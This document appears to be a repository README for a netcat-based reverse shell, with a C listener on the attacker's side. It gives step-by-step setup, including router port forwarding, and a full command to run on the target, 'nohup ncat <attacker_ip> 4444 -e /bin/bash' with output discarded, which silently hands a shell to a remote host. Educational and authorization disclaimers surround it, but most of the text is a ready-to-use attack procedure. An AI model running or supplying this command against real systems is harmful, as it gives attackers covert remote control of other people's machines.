This repository contains code for a simple, easy setup reverse shell attack using netcat and C. It's intended for educational purposes to demonstrate how a reverse shell can be established between a target machine and an attacker's machine. Do NOT use this code for malicious purposes or unauthorized access to systems.
- C compiler (e.g.,
gcc) - Although binaries are provided, compiling from source is recommended for educational purposes. - Netcat installed on the target machine - This code uses
ncat, which is part of the Nmap suite, but any version of netcat should work. - A machine to run the attacker's listener (can be the same as the target)
- A victim machine to run the shell on(can be the same as the target)
- On the attacker's machine, set up a listener using netcat:
-Install netcat if not already installed.
- Compile main.c using
gcc -o listen main.c. - Run the listener with
./listen. - When prompted, enter the port number you want to listen on.
- Set up your router so that whatever port on the router you open is forwarded to the port chosen in ./listen in your machine.
- Compile main.c using
- On the target machine:
- Install netcat if not already installed.
- Run the following command:
nohup ncat <attacker_ip> <port> -e <path_to_shell> &>/dev/null &
for example:
nohup ncat <attacker_ip> 4444 -e /bin/bash &>/dev/null &- This command will create a reverse shell that connects back to the attacker's machine.
If you don't know which shell to use, you can try
/bin/bash,/bin/sh, or/bin/zshdepending on the target machine's configuration. - Replace
<attacker_ip>with the IP address of the attacker's machine and<port>with the port number you opened in the router settings (NOT the port you opened in ./listen).
- Once the target machine connects to the attacker's machine, you will have a reverse shell.
- You can execute commands on the target machine through the listener.
- To verify the connection, you can run commands like
whoami,pwd, orlsto see the current user and directory. - To exit the reverse shell, type
exitorlogout.
- Ensure you have permission to perform penetration testing on the target machine.
- This code is for educational purposes only. Unauthorized access to computer systems is illegal and unethical.
- Use this code responsibly and only in controlled environments where you have explicit permission to test security measures.
- Always follow ethical guidelines and legal requirements when conducting security testing.
- This code is provided "as is" without any warranty. Use it at your own risk.
- The author is not responsible for any misuse or damage caused by this code.
For any questions or issues, please open an issue in this repository or contact the author via email at [email protected].
This project is licensed under the MIT License - see the LICENSE file for details.